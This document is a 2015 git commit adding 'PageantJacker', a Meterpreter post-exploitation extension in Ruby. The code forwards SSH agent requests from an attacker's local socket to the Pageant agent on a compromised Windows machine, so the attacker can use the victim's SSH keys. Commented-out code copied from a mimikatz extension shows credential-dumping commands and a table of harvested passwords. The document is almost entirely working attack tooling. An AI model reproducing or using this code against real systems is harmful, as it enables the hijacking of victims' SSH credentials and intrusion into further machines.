Initial working pageant extension

bug/bundler_fix
Stuart Morgan 2015-05-15 11:29:20 +01:00
parent f0048b9a6d
commit c8174119bf
3 changed files with 262 additions and 0 deletions

View File

@ -0,0 +1,79 @@
# -*- coding: binary -*-
require 'rex/post/meterpreter/extensions/pageantjacker/tlv'
module Rex
module Post
module Meterpreter
module Extensions
module Pageantjacker
###
#
# PageantJacker extension - Hijack and interact with Pageant
#
# Stuart Morgan <stuart.morgan@mwrinfosecurity.com>
#
###
class Pageantjacker < Extension
def initialize(client)
super(client, 'pageantjacker')
client.register_extension_aliases(
[
{
'name' => 'pageantjacker',
'ext' => self
},
])
end
def forward_to_pageant(blob,size)
return unless size > 0
return unless blob.size > 0
puts "Request indicated size: #{size}"
parse_blob(blob)
packet_request = Packet.create_request('pageant_send_query')
packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANTJACKER_SIZE_IN, size)
packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANTJACKER_BLOB_IN, blob)
response = client.send_request(packet_request)
response_success = response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANTJACKER_STATUS)
returned_blob = response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANTJACKER_RETURNEDBLOB)
error = response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANTJACKER_ERRORMESSAGE)
puts "Response success: #{response_success}, Response error #{error}"
parse_blob(returned_blob)
if response_success
# puts "Received successful response: #{returned_blob.size}"
# puts "Error is: #{error}"
# puts returned_blob.unpack('NCH*')
return returned_blob
else
# puts "Received error message: #{error}"
return nil
end
return nil
end
def parse_blob(blob)
b = blob.unpack('NCH*')
puts " blob size #{blob.size}"
puts " blob data (20 chars: #{blob.unpack('H20').first}"
puts " ssh packet size: #{b[0]}"
puts " ssh type: #{b[1]}"
puts " ssh data: #{b[2]}"
end
def stop_listening
end
end
end; end; end; end; end

View File

@ -0,0 +1,18 @@
# -*- coding: binary -*-
module Rex
module Post
module Meterpreter
module Extensions
module Pageantjacker
TLV_TYPE_EXTENSION_PAGEANTJACKER_STATUS = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 1)
TLV_TYPE_EXTENSION_PAGEANTJACKER_ERRORMESSAGE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 2)
TLV_TYPE_EXTENSION_PAGEANTJACKER_RETURNEDBLOB = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 3)
TLV_TYPE_EXTENSION_PAGEANTJACKER_SIZE_IN = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 4)
TLV_TYPE_EXTENSION_PAGEANTJACKER_BLOB_IN = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 5)
end
end
end
end
end

View File

@ -0,0 +1,165 @@
# -*- coding: binary -*-
require 'rex/post/meterpreter'
module Rex
module Post
module Meterpreter
module Ui
require 'tmpdir'
###
#
# PageantJacker extension - Hijack Pageant
#
###
class Console::CommandDispatcher::PageantJacker
Klass = Console::CommandDispatcher::PageantJacker
include Console::CommandDispatcher
def initialize(shell)
super
end
# if (client.platform =~ /x86/) and (client.sys.config.sysinfo['Architecture'] =~ /x64/)
# print_line
# print_warning "Loaded x86 PageantJacker on an x64 architecture."
# end
#end
#
# List of supported commands.
#
def commands
{
"start_pageant_forwarding" => "Create a local socket and forward all requests to the remote Pageant",
}
end
def cmd_start_pageant_forwarding(*args)
sockpath = "#{::Dir::Tmpname.tmpdir}/#{::Dir::Tmpname.make_tmpname('pageantjacker', 5)}"
sockpath = "/tmp/parp"
::File.delete sockpath
if ::File.exists?(sockpath)
print_line("Your requested socket (#{sockpath}) already exists. Remove it or choose another path and try again.")
return
end
::UNIXServer.open(sockpath) {|serv|
print_line("Launched listening socket on #{sockpath}.")
print_line("Set your SSH_AUTH_SOCK variable to #{sockpath} (export SSH_AUTH_SOCK=\"#{sockpath}\"")
print_line("Now use any tool normally (e.g. ssh-add)")
loop {
s = serv.accept
loop {
socket_request_data = s.recvfrom(8192)
break if socket_request_data.nil? || socket_request_data.first.nil? || socket_request_data.first.empty?
#puts socket_request_data.first.inspect
#puts socket_request_data.first.unpack('NCH*')
#puts 'Request'
response_data = client.pageantjacker.forward_to_pageant(socket_request_data.first, socket_request_data.first.size)
if !response_data.nil?
#puts "Response Data\n"
#resp = response_data.unpack('NCH*')
#puts "resp size #{resp[0]} resp type: #{resp[1]} actual_size #{resp[2].size+5}"
#puts "resp #{resp[2].unpack('H*').first}"
s.send response_data,0
end
}
}
}
if ::File.exists?(sockpath)
print_line("Cleaning up; removing #{sockpath}")
::File.delete(sockpath)
else
print_line("Unable to remove socket #{sockpath}")
end
end
# @@command_opts = Rex::Parser::Arguments.new(
# "-f" => [true, "The function to pass to the command."],
# "-a" => [true, "The arguments to pass to the command."],
# "-h" => [false, "Help menu."]
# )
#
# def cmd_mimikatz_command(*args)
# if (args.length == 0)
# args.unshift("-h")
# end
#
# cmd_args = nil
# cmd_func = nil
# arguments = []
#
# @@command_opts.parse(args) { |opt, idx, val|
# case opt
# when "-a"
# cmd_args = val
# when "-f"
# cmd_func = val
# when "-h"
# print(
# "Usage: mimikatz_command -f func -a args\n\n" +
# "Executes a mimikatz command on the remote machine.\n" +
# "e.g. mimikatz_command -f sekurlsa::wdigest -a \"full\"\n" +
# @@command_opts.usage)
# return true
# end
# }
#
# unless cmd_func
# print_error("You must specify a function with -f")
# return true
# end
#
# if cmd_args
# arguments = cmd_args.split(" ")
# end
#
# print_line client.mimikatz.send_custom_command(cmd_func, arguments)
# end
#
# def mimikatz_request(provider, method)
# print_status("Retrieving #{provider} credentials")
# accounts = method.call
#
# table = Rex::Ui::Text::Table.new(
# 'Header' => "#{provider} credentials",
# 'Indent' => 0,
# 'SortIndex' => 4,
# 'Columns' =>
# [
# 'AuthID', 'Package', 'Domain', 'User', 'Password'
# ]
# )
#
# accounts.each do |acc|
# table << [acc[:authid], acc[:package], acc[:domain], acc[:user], (acc[:password] || "").gsub("\n","")]
# end
#
# print_line table.to_s
#
# return true
# end
#
# Name for this dispatcher
#
def name
"PageantJacker"
end
end
end
end
end
end